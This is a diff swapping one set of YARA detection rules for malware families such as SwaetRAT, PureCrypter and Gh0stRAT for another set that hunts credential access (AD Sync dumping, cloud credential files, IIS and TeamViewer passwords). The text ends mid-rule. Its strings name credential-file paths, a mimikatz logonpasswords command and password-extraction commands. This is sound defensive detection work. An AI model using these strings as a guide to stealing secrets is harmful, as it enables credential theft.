+		reference = "https://github.com/orlyjamie/mimikittenz/blob/master/Invoke-mimikittenz.ps1"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L24-L43"
 		license_url = "N/A"
-		logic_hash = "98d23523c2ab196f670dc33164954fc69a1c1692fa870a476e25d7dd3cebace2"
+		logic_hash = "432c812177a50c50d08feb88a1293ecb625b9b0aa6a839789da150255bc83228"
 		score = 75
-		quality = 85
+		quality = 75
 		tags = ""
 
 	strings:
-		$s = {50 4B 03 04 14 00 00 00 08 00 24 56 25 55 2B 6D 5C 08 39 7C 05}
-		$a1 = "https://t.me/mastersbots"
-		$a2 = "https://steamcommunity.com/profiles/76561199501059503"
-		$a3 = "%s\\%s\\Local Storage\\leveldb"
-		$a4 = "\\Autofill\\%s_%s.txt"
-		$a5 = "\\Downloads\\%s_%s.txt"
-		$a6 = "\\CC\\%s_%s.txt"
-		$a7 = "Exodus\\exodus.wallet"
+		$p1 = "&password=" base64
+		$p2 = "&login_password=" base64
+		$p3 = "&pass=" base64
+		$p4 = "&Passwd=" base64
+		$p5 = "&PersistentCookie=" base64
+		$p6 = "password%5D=" base64
+		$u1 = "&username=" base64
+		$u2 = "&email=" base64
+		$u3 = "login=" base64
+		$u4 = "login_email=" base64
+		$u5 = "user%5Bemail%5D=" base64
+		$reg = ".{1,"
 
 	condition:
-		$s and 5 of ($a*)
+		3 of ($p*) and 3 of ($u*) and #reg>3
 }
-import "pe"
-
-rule RUSSIANPANDA_Swaetrat
+rule SBOUSSEADEN_Adsync_Creddump_Wide
 {
 	meta:
-		description = "Detects SwaetRAT"
-		author = "RussianPanda"
-		id = "e5238ae4-7ae3-505c-a3fd-ecf6be608fac"
-		date = "2023-11-27"
-		modified = "2023-11-27"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/SwaetRAT/swaetrat.yar#L3-L19"
+		description = "AD Connect Sync Credential Extract"
+		author = "SBousseaden"
+		id = "ccbfa79a-924b-512a-a9e9-005567b4fe83"
+		date = "2020-04-08"
+		modified = "2020-12-28"
+		reference = "https://blog.xpnsec.com/azuread-connect-for-redteam/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L45-L67"
 		license_url = "N/A"
-		logic_hash = "4dc1107a34d678c3fa0939fab7986fe744ac246400823d08b1ab6db0942821da"
+		logic_hash = "e8b0ff1fa9117a98799239d37c5a0ae8be25c2c2519c4fc2a1d7f085a9ebe2e1"
 		score = 75
-		quality = 85
+		quality = 75
 		tags = ""
 
 	strings:
-		$s2 = "Pong"
-		$s3 = "ReadData"
-		$s4 = "DeskDrop" wide
-		$s5 = "OfflineGet" wide
+		$s1 = "private_configuration_xml" wide xor
+		$s2 = "LoadKeySet" xor
+		$s3 = "encrypted_configuration" wide xor
+		$s4 = "GetActiveCredentialKey" xor
+		$s5 = "DecryptBase64ToString" xor
+		$s6 = "KeyManager" xor
+		$s7 = "(LocalDB)\\.\\ADSync" wide xor
+		$s8 = "mms_management_agent" wide xor
+		$s9 = "keyset_id" wide xor
+		$s10 = "xp_cmdshell" xor
+		$s11 = "System.Data.SqlClient"
+		$s12 = "Password" wide xor
+		$fp1 = "mmsutils\\mmsutils.pdb"
 
 	condition:
-		all of ($s*) and pe.imports("mscoree.dll")
+		5 of them and not $fp1
 }
-rule RUSSIANPANDA_Workersdevbackdoor_PS : FILE
+rule SBOUSSEADEN_Adsync_Creddump_Xor
 {
 	meta:
-		description = "Detects WorkersDevBackdoor PowerShell script"
-		author = "RussianPanda"
-		id = "d2b526c1-a9f5-57de-818c-99b02e778a0d"
-		date = "2023-12-15"
-		modified = "2023-12-15"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/WorkersDevBackdoor/WorkersDevBackdoor_PS.yar#L1-L18"
+		description = "Azure AdSync Service Account Password Dumping"
+		author = "SBousseaden"
+		id = "e0d951ec-ec39-5f37-b5a8-ddd0b1dc588d"
+		date = "2020-03-08"
+		modified = "2020-12-28"
+		reference = "https://blog.xpnsec.com/azuread-connect-for-redteam/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L69-L89"
 		license_url = "N/A"
-		logic_hash = "c71eed8fd7a44f3018150cc6ef55d10779093ed8e4c77fd9babcf9b1b9fadfda"
+		logic_hash = "831ed0410000ad9dfa7be2ab1f64a4130810465cf699bb3e45c93075db6fdb74"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 75
+		tags = ""
 
 	strings:
-		$s1 = "sleep" wide
-		$s2 = "convertto-securestring" wide
-		$s3 = "System.Drawing.dll" wide
-		$s4 = "System.Web.Extensions.dll" wide
-		$s5 = "System.Windows.Forms.dll" wide
-		$s6 = "CSharp" wide
+		$a1 = "private_configuration_xml" xor
+		$a2 = "LoadKeySet" xor
+		$a3 = "encrypted_configuration" xor
+		$a4 = "GetActiveCredentialKey" xor
+		$a5 = "DecryptBase64ToString" xor
+		$a6 = "Cryptography.KeyManager" xor
+		$b1 = "mms_management_agent" xor
+		$b2 = "Microsoft Azure AD Sync\\Bin\\mcrypt.dl" xor
+		$b3 = "xp_cmdshell" xor
+		$b4 = "Password" xor
+		$b5 = "forest-login-user" xor
+		$b6 = "forest-login-domain" xor
 
 	condition:
-		all of ($s*) and filesize <200KB
+		4 of ($a*) or 4 of ($b*)
 }
-import "pe"
-
-rule RUSSIANPANDA_Workersdevbackdoor : FILE
+rule SBOUSSEADEN_Adsync_Creddump_V64
 {
 	meta:
-		description = "Detects WorkersDevBackdoor"
-		author = "RussianPanda"
-		id = "725e0924-c108-5927-8d27-e4bc5b284883"
-		date = "2023-12-15"
-		modified = "2024-01-05"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/WorkersDevBackdoor/WorkDevBackdoor.yar#L3-L20"
+		description = "Azure AdSync Service Account Password Dumping"
+		author = "SBousseaden"
+		id = "9f536ff2-95b6-5f93-8c6f-e3738d6404c7"
+		date = "2020-03-08"
+		modified = "2020-12-28"
+		reference = "https://blog.xpnsec.com/azuread-connect-for-redteam/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L91-L111"
 		license_url = "N/A"
-		logic_hash = "f92ad9dc657d87a47e539ea2ee896f9b86bb95e51a890a838c6e6b0efa5deb7d"
+		logic_hash = "e2465fec6dd9384d5d7f31f1c0e7661f4fbd5e3f87a14abfcb9b0412985cb1d6"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 75
+		tags = ""
 
 	strings:
-		$s1 = {72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 20 00 7B 00 30 00 7D 00 20 00 7B 00 31 00 7D}
-		$s2 = {72 FB 00 00 70 72 13 01 00 70 28 20 00 00 0A 72 2D 01 00 70}
-		$s3 = {55 00 53 00 45 00 52 00 44 00 4F 00 4D 00 41 00 49 00 4E}
-		$s4 = {43 00 4F 00 4D 00 50 00 55 00 54 00 45 00 52 00 4E 00 41 00 4D 00 45}
+		$a1 = "private_configuration_xml" base64
+		$a2 = "LoadKeySet" base64
+		$a3 = "encrypted_configuration" base64
+		$a4 = "GetActiveCredentialKey" base64
+		$a5 = "DecryptBase64ToString" base64
+		$a6 = "Cryptography.KeyManager" base64
+		$b1 = "mms_management_agent" base64
+		$b2 = "Microsoft Azure AD Sync\\Bin\\mcrypt.dl" base64
+		$b3 = "xp_cmdshell" base64
+		$b4 = "Password" base64
+		$b5 = "forest-login-user" base64
+		$b6 = "forest-login-domain" base64
 
 	condition:
-		3 of ($s*) and pe.imports("mscoree.dll") and filesize <2MB
+		4 of ($a*) or 4 of ($b*)
 }
-import "dotnet"
-
-rule RUSSIANPANDA_Purecrypter_Core : FILE
+rule SBOUSSEADEN_Adsync_Creddump_Xwide
 {
 	meta:
-		description = "Detects PureCrypter Core payload"
-		author = "RussianPanda"
-		id = "41aaa187-0fb5-53fe-a162-8d1a4974ccc1"
-		date = "2024-01-09"
-		modified = "2024-01-09"
-		reference = "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/PureCrypter/purecrypter_core.yar#L3-L28"
+		description = "Azure AdSync Service Account Password Dumping"
+		author = "SBousseaden"
+		id = "a8c3e60a-99b8-50c8-992c-fbe18499a615"
+		date = "2020-03-08"
+		modified = "2020-12-28"
+		reference = "https://blog.xpnsec.com/azuread-connect-for-redteam/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L112-L132"
 		license_url = "N/A"
-		hash = "e4faa7d7a098414449abffb210fd874798207ee9d27643c8088676ff429b56b7"
-		logic_hash = "8c761a98369436ffbe1379152461753778985a42ae656567018b47c71af7d866"
+		logic_hash = "9015005494cb3cc52645a9c82f6179992942243a816b05273bc26f58ac70a2e0"
 		score = 75
-		quality = 81
-		tags = "FILE"
+		quality = 75
+		tags = ""
 
 	strings:
-		$s1 = {47 5A 69 70 53 74 72 65 61 6D}
-		$s2 = {41 73 73 65 6D 62 6C 79 4C 6F 61 64 65 72 00 43 6F 73 74 75 72 61}
-		$s3 = {44 65 66 6C 61 74 65 53 74 72 65 61 6D}
-		$cnct = {72 ?? ?? 00 70 28 FB 00 00 0A 72 ?? ?? 00 70 28 ?? 00 00 0A}
-		$nr1 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 34 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 31 00 7D}
-		$nr2 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 34 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 32 00 7D}
-		$nr3 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 32 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 32 00 7D}
-		$nr4 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 32 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 31 00 7D}
+		$a1 = "private_configuration_xml" wide xor
+		$a2 = "LoadKeySet" wide xor
+		$a3 = "encrypted_configuration" wide xor
+		$a4 = "GetActiveCredentialKey" wide xor
+		$a5 = "DecryptBase64ToString" wide xor
+		$a6 = "Cryptography.KeyManager" wide xor
+		$b1 = "mms_management_agent" wide xor
+		$b2 = "Microsoft Azure AD Sync\\Bin\\mcrypt.dl" wide xor
+		$b3 = "xp_cmdshell" wide xor
+		$b4 = "Password" wide xor
+		$b5 = "forest-login-user" wide xor
+		$b6 = "forest-login-domain" wide xor
 
 	condition:
-		filesize <5MB and all of ($s*) and dotnet.number_of_resources>4 and dotnet.number_of_resources<6 and 2 of ($nr*) and dotnet.assembly_refs[1].name contains "protobuf-net" and #cnct>5
+		4 of ($a*) or 4 of ($b*)
 }
-import "dotnet"
-
-rule RUSSIANPANDA_Purecrypter : FILE
+rule SBOUSSEADEN_Hunt_Credaccess_Cloud
 {
 	meta:
-		description = "Detects PureCrypter"
-		author = "RussianPanda"
-		id = "5670772c-ada1-55fa-b7fd-9dadd1756259"
-		date = "2024-01-09"
-		modified = "2024-01-09"
-		reference = "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/PureCrypter/purecrypter.yar#L3-L22"
+		description = "hunt for the presence of more than 1 known cloud client utility related credential paths"
+		author = "SBousseaden"
+		id = "a1916a13-ba08-57b4-8615-5ff08986e128"
+		date = "2020-07-20"
+		modified = "2020-12-28"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L134-L150"
 		license_url = "N/A"
-		hash = "566d8749e166436792dfcbb5e5514f18c9afc0e1314833ac2e3d86f37ff2030f"
-		logic_hash = "dd8592fa0b7d240d23235008601500a20e068032f6dcd6e90a38b06ac747b8af"
-		score = 75
-		quality = 83
-		tags = "FILE"
+		logic_hash = "09814a4bb118b5015936943c8585475fd88e0b49d08587fedeeb2c0b4d7ab979"
+		score = 50
+		quality = 75
+		tags = ""
 
 	strings:
-		$s1 = {28 ?? 00 00 ?? 28 02 00 00 2B 28 ?? 00 00 (0A|06)}
-		$s2 = {73 ?? 00 00 0A}
-		$s3 = {73 ?? 00 00 06 6F ?? 00 00 06}
-		$s4 = {52 65 73 6F 75 72 63 65 4D 61 6E 61 67 65 72}
-		$s5 = {28 ?? 00 00 ?? 6F ?? 00 00 0A 28 03 00 00 2B ?? 6F ?? 00 00 0A 28 ?? 00 00 2B}
+		$aws = "\\.aws\\credentials" xor
+		$gcloud1 = "\\gcloud\\credentials.db" xor
+		$gcloud2 = "\\gcloud\\legacy_credentials" xor
+		$gcloud3 = "\\gcloud\\access_tokens.db" xor
+		$azure1 = "\\.azure\\accessTokens.json" xor
+		$azure2 = "\\.azure\\azureProfile.json" xor
+		$git = "\\.config\\git\\credentials" xor
+		$slack1 = "\\Slack\\Cookies" xor
+		$slack2 = "\\Slack\\StaleCookies-8" xor
 
 	condition:
-		filesize <6MB and 4 of ($s*) and dotnet.number_of_resources>0 and dotnet.number_of_resources<2 and dotnet.resources[0].length>300KB
+		4 of them
 }
-rule RUSSIANPANDA_Mal_Nitrogen : FILE
+rule SBOUSSEADEN_Hunt_Credaccess_Cloud_Wide_Xor
 {
 	meta:
-		description = "Detects Nitrogen campaign"
-		author = "RussianPanda"
-		id = "9d591f87-47ec-54ea-b0ae-26a0542733a0"
-		date = "2024-02-04"
-		modified = "2024-02-04"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Nitrogen/mal_nitrogen.yar#L1-L15"
+		description = "hunt for the presence of more than 1 known cloud client utility related credential paths"
+		author = "SBousseaden"
+		id = "8e48151c-8a9b-57b1-8464-5be28afc347b"
+		date = "2020-07-20"
+		modified = "2020-12-28"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L152-L168"
 		license_url = "N/A"
-		logic_hash = "642d5a16c7fb217a297bba683221de474eb028ac48ec8f52be897eaa056acb9b"
-		score = 75
-		quality = 79
-		tags = "FILE"
+		logic_hash = "0625fc019eeeac8c219fa997c5957b69e5073c82d5cb1b880a5c1f7295ba2b7a"
+		score = 50
+		quality = 75
+		tags = ""
 
 	strings:
-		$s1 = {63 7C 77 7B F2 6B 6F C5}
-		$s2 = {52 09 6A D5 30 36 A5 38}
-		$s3 = {6F 72 69 67 69 6E 61 6C 5F 69 6E 73 74 61 6C 6C}
-		$s4 = {43 3A 5C 55 73 65 72 73 5C 50 75 62 6C 69 63 5C 44 6F 77 6E 6C 6F 61 64}
-		$s5 = {25 00 43 00 55 00 52 00 52 00 45 00 4E 00 54 00 5F 00 44 00 45 00 52 00 45 00 43 00 54 00 4F 00 52 00 59 00 25}
-		$s6 = {4E 69 74 72 6F 67 65 6E 54 61 72 67 65 74}
+		$aws = "\\.aws\\credentials" wide xor
+		$gcloud1 = "\\gcloud\\credentials.db" wide xor
+		$gcloud2 = "\\gcloud\\legacy_credentials" wide xor
+		$gcloud3 = "\\gcloud\\access_tokens.db" wide xor
+		$azure1 = "\\.azure\\accessTokens.json" wide xor
+		$azure2 = "\\.azure\\azureProfile.json" wide xor
+		$git = "\\.config\\git\\credentials" wide xor
+		$slack1 = "\\Slack\\Cookies" wide xor
+		$slack2 = "\\Slack\\StaleCookies-8" wide xor
 
 	condition:
-		uint16(0)==0x5A4D and 5 of them
+		4 of them
 }
-import "pe"
-
-rule RUSSIANPANDA_Nitrogen_Python311_Rule : FILE
+rule SBOUSSEADEN_Hunt_Credaccess_Cloud_Base64
 {
 	meta:
-		description = "Detects side-loaded Python311 DLL for the new Nitrogen campaign 10-23-2023"
-		author = "RussianPanda"
-		id = "608d20b2-24f8-5c95-bab5-83748a7bf3b1"
-		date = "2023-10-24"
-		modified = "2023-12-11"
-		reference = "https://www.esentire.com/blog/persistent-connection-established-nitrogen-campaign-leverages-dll-side-loading-technique-for-c2-communication"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Nitrogen/nitrogen_python311.yar#L3-L21"
+		description = "hunt for the presence of more than 1 known cloud client utility related credential paths"
+		author = "SBousseaden"
+		id = "34460cb1-acf4-53e7-9c95-f69824a87836"
+		date = "2020-07-20"
+		modified = "2020-12-28"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L170-L186"
 		license_url = "N/A"
-		logic_hash = "04db05b3b130c9de3ff02a6a16775be9d3a50d3025bcf1e075ae56c751304154"
-		score = 75
-		quality = 83
-		tags = "FILE"
+		logic_hash = "bf0acdc6e72e3528a93709b99f40aa13b45d9a3d22d8373d54414cc9be49d4d0"
+		score = 50
+		quality = 75
+		tags = ""
 
 	strings:
-		$s1 = { 68 62 6F 6B 62 69 30 2F }
-		$s2 = { 48 B8 ?? ?? ?? ?? ?? ?? ?? 00 48 89 44 24 5C }
-		$s3 = { 48 8B 05 ?? ?? 09 00}
+		$aws = "\\.aws\\credentials" base64
+		$gcloud1 = "\\gcloud\\credentials.db" base64
+		$gcloud2 = "\\gcloud\\legacy_credentials" base64
+		$gcloud3 = "\\gcloud\\access_tokens.db" base64
+		$azure1 = "\\.azure\\accessTokens.json" base64
+		$azure2 = "\\.azure\\azureProfile.json" base64
+		$git = "\\.config\\git\\credentials" base64
+		$slack1 = "\\Slack\\Cookies" base64
+		$slack2 = "\\Slack\\StaleCookies-8" base64
 
 	condition:
-		all of ($s*) and uint16(0)==0x5A4D and pe.exports("nop")
+		4 of them
 }
-rule RUSSIANPANDA_Win_Mal_Planetstealer : FILE
+rule SBOUSSEADEN_Hunt_Credaccess_Cloud_Wide_Base64
 {
 	meta:
-		description = "Detects PlanetStealer"
-		author = "RussianPanda"
-		id = "f912066f-4151-5f83-8d34-6bffdf9e25e5"
-		date = "2024-03-04"
-		modified = "2024-03-24"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/PlanetStealer/win_mal_PlanetStealer.yar#L1-L14"
+		description = "hunt for the presence of more than 1 known cloud client utility related credential paths"
+		author = "SBousseaden"
+		id = "5c9a77b6-612b-5d5d-926c-833e49f8020e"
+		date = "2020-07-20"
+		modified = "2020-12-28"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L188-L204"
 		license_url = "N/A"
-		logic_hash = "e1660d6fed4c48b45b40bd51fb52254c5b19ca6f1938b68f2344bde473820b86"
-		score = 75
-		quality = 79
-		tags = "FILE"
+		logic_hash = "1dd7aba89ddef2d18807bef77abd106a74f2e339e1e3bbd102c2edee14ffcf6f"
+		score = 50
+		quality = 75
+		tags = ""
 
 	strings:
-		$s1 = {48 8D 15 ?? ?? ?? 00 0F B6 34 10 0F B6 BC 04 ?? ?? 00 00 ?? ?? 40 88 ?? 04 ?? ?? 00 00 48 FF C0}
-		$s2 = {48 83 F8 ?? 7C DA}
-		$s3 = {72 75 6E 74 69 6D 65 2E 67 6F 62 75 66}
-		$s4 = {74 6F 74 61 6C 5F 77 61 6C 6C 65 74 73}
-		$s5 = {74 6F 74 61 6C 5F 63 6F 6F 6B 69 65 73}
+		$aws = "\\.aws\\credentials" wide base64
+		$gcloud1 = "\\gcloud\\credentials.db" wide base64
+		$gcloud2 = "\\gcloud\\legacy_credentials" wide base64
+		$gcloud3 = "\\gcloud\\access_tokens.db" wide base64
+		$azure1 = "\\.azure\\accessTokens.json" wide base64
+		$azure2 = "\\.azure\\azureProfile.json" wide base64
+		$git = "\\.config\\git\\credentials" wide base64
+		$slack1 = "\\Slack\\Cookies" wide base64
+		$slack2 = "\\Slack\\StaleCookies-8" wide base64
 
 	condition:
-		uint16(0)==0x5A4D and all of them and #s2>100 and #s1>100 and filesize <20MB
+		4 of them
 }
-rule RUSSIANPANDA_Win_Mal_Mpxdropper : FILE
+rule SBOUSSEADEN_Hunt_Credaccess_Iis
 {
 	meta:
-		description = "Detects MpxDropper"
-		author = "RussianPanda"
-		id = "26ee0a12-c727-5953-8ebb-dd8a8d772561"
-		date = "2024-03-01"
-		modified = "2024-03-01"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/MpxDropper/mal_win_MpxDropper.yar#L1-L11"
+		description = "hunt for strings related to iis credential access"
+		author = "SBousseaden"
+		id = "0edfb8a5-83ab-5d6f-b8c9-7d3e03a6e32a"
+		date = "2020-07-20"
+		modified = "2020-12-28"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L206-L219"
 		license_url = "N/A"
-		hash = "3a44a45afbfe5fc7cdeb3723e05c4e892b079abdb7d1e8d6fc70496ef0a14d5d"
-		logic_hash = "e8d2672553c7f44e1cc177fad6596bd58b5c32a7541f91ce1207e6b21ef6e52d"
-		score = 75
-		quality = 83
-		tags = "FILE"
+		logic_hash = "b193e40e932d3168c826baaa070b2484e7e4781a481ab911a9526f9bc23d24a1"
+		score = 50
+		quality = 73
+		tags = ""
 
 	strings:
-		$s1 = {43 3a 5c 55 73 65 72 73 5c 6d 70 78 31 36 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73}
+		$a1 = "aspnet_regiis.exe" nocase
+		$a2 = "connectionStrings" nocase
+		$a3 = "web.config" nocase
+		$a4 = "-pdf" nocase
+		$b1 = "appcmd.exe" nocase
+		$b2 = "/text:password"
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		( all of ($a*) or all of ($b*))
 }
-rule RUSSIANPANDA_Darkgate_Autoit
+rule SBOUSSEADEN_Hunt_Credaccess_Iis_Xor
 {
 	meta:
-		description = "Detects DarkGate AutoIT script"
-		author = "RussianPanda"
-		id = "b30544b5-88c9-5a84-8582-f4f72b228f24"
-		date = "2024-01-26"
-		modified = "2024-01-26"
-		reference = "https://yara.readthedocs.io/en/stable/writingrules.html?highlight=xor"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/DarkGate/darkgate_autoit.yar#L1-L19"
+		description = "hunt for strings related to iis credential access"
+		author = "SBousseaden"
+		id = "ed5dd469-cf08-5eb1-bfde-36460c10197b"
+		date = "2020-07-20"
+		modified = "2020-12-28"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L221-L234"
 		license_url = "N/A"
-		hash = "e1803b01e3f187355dbeb87a0c91b76c"
-		logic_hash = "dda6726d09035d6f61ca331d18ed37f032c6f6a5ab88e1754a21587f4c79ac87"
-		score = 75
-		quality = 85
+		logic_hash = "58c316238cacfbfd5a539d6dbae9bc31836c414d5179ca5c40aa2cfae6c69655"
+		score = 60
+		quality = 45
 		tags = ""
 
 	strings:
-		$h = "AU3!EA06"
-		$s1 = "just_test.txt" xor(0x01-0xff)
-		$s2 = "c:\\temp\\data.txt" xor(0x01-0xff)
-		$s3 = "test.txt" xor(0x01-0xff)
-		$s4 = "cc.txt" xor(0x01-0xff)
-		$s5 = "c:\\temp\\data.txt" xor(0x01-0xff)
-		$s6 = "uu.txt" xor(0x01-0xff)
+		$a1 = "aspnet_regiis.exe" wide xor
+		$a2 = "connectionStrings" wide xor
+		$a3 = "web.config" wide xor
+		$a4 = "-pdf" wide xor
+		$b1 = "appcmd.exe" wide xor
+		$b2 = "/text:password" wide xor
 
 	condition:
-		3 of ($s*) and $h
+		( all of ($a*) or all of ($b*))
 }
-rule RUSSIANPANDA_Easycrypter : FILE
+rule SBOUSSEADEN_Hunt_Credaccess_Iis_Base64
 {
 	meta:
-		description = "Detects EasyCrypter"
-		author = "RussianPanda"
-		id = "73b01a6c-dcd1-502e-a431-daf82ab3ed50"
-		date = "2024-01-05"
-		modified = "2024-01-05"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/EasyCrypter/easycrypter.yar#L1-L16"
+		description = "hunt for strings related to iis credential access"
+		author = "SBousseaden"
+		id = "3a6b41b1-5a6a-536e-ac99-fb45ec460767"
+		date = "2020-07-20"
+		modified = "2020-12-28"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L236-L249"
 		license_url = "N/A"
-		hash = "60063c99fda3b6c5c839ec1c310b03e8f9c7c8823f2eb7bf75e22c6d738ffa8f"
-		logic_hash = "761ed4629150453009b76d9c2ad251754009b464550b92dab3395fa30422f6ef"
-		score = 75
-		quality = 85
-		tags = "FILE"
+		logic_hash = "b09c4cfaefeae28cb9381ae7b94ef970f10a6a265a3e40766d2a8c109b2df054"
+		score = 50
+		quality = 75
+		tags = ""
 
 	strings:
-		$s1 = {F6 17 [16-20] 80 2F 36 [16-20] 80 07 87}
-		$s2 = {81 38 50 45 00 00 [20-22] 8B 88 A0 00 00 00 [2-4] 8B 80 A4 00 00 00 [5-7] 8B 40 50 [50-56] 89 0C 24 89 44 24 04 C7 44 24 08 00 30 00 00 C7 44 24 0C 04 00 00 00 FF 15 [3] 00}
+		$a1 = "aspnet_regiis.exe" base64
+		$a2 = "connectionStrings" base64
+		$a3 = "web.config" base64
+		$a4 = "-pdf" base64
+		$b1 = "appcmd.exe" base64
+		$b2 = "/text:password" base64
 
 	condition:
-		uint16(0)==0x5A4D and $s1 and $s2
+		(3 of ($a*) or all of ($b*))
 }
-rule RUSSIANPANDA_Gh0Strat : FILE
+rule SBOUSSEADEN_Hunt_Credaccess_Iis_Wide_Base64
 {
 	meta:
-		description = "Detects Gh0stRAT"
-		author = "RussianPanda"
-		id = "db310549-feed-57b8-9ec0-232b6eda62f9"
-		date = "2024-07-09"
-		modified = "2024-07-09"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Gh0stRAT/Gh0stRAT.yar#L1-L14"
+		description = "hunt for strings related to iis credential access"
+		author = "SBousseaden"
+		id = "9e709338-2b61-53b6-99b4-36b52991bc27"
+		date = "2020-07-20"
+		modified = "2020-12-28"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L251-L264"
 		license_url = "N/A"
-		hash = "678b06ecdbc9b186788cf960332566f9"
-		logic_hash = "bc4bdad83a0e23273774c3d4812cabe9fa44897c8ff2e308004e03b4f1622cd5"
-		score = 75
-		quality = 85
-		tags = "FILE"
+		logic_hash = "6b06ef3a19fc4ce4d6a3f23815ac411094574cf15bfcc18d675017c7e357d1cf"
+		score = 50
+		quality = 75
+		tags = ""
 
 	strings:
-		$s1 = "SAM\\SAM\\Domains\\Account\\Users\\Names\\%s"
-		$s2 = "GetMP privilege::debug sekurlsa::logonpasswords exit"
-		$s3 = "Http/1.1 403 Forbidden"
-		$s4 = "WinSta0\\Default"
+		$a1 = "aspnet_regiis.exe" wide base64
+		$a2 = "connectionStrings" wide base64
+		$a3 = "web.config" wide base64
+		$a4 = "-pdf" wide base64
+		$b1 = "appcmd.exe" wide base64
+		$b2 = "/text:password" wide base64
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		(3 of ($a*) or all of ($b*))
 }
-rule RUSSIANPANDA_Win_Sus_Internetshortcutfile
+rule SBOUSSEADEN_Hunt_Teamviewer_Registry_Pwddump : CVE_2019_18988 FILE
 {
 	meta:
-		description = "Detects suspicious Internet Shortcut Files that are often used to retrieve malware"
-		author = "RussianPanda"
-		id = "88d5d33f-0342-5575-b5e4-31ac5695abf2"
-		date = "2024-02-17"
-		modified = "2024-02-17"
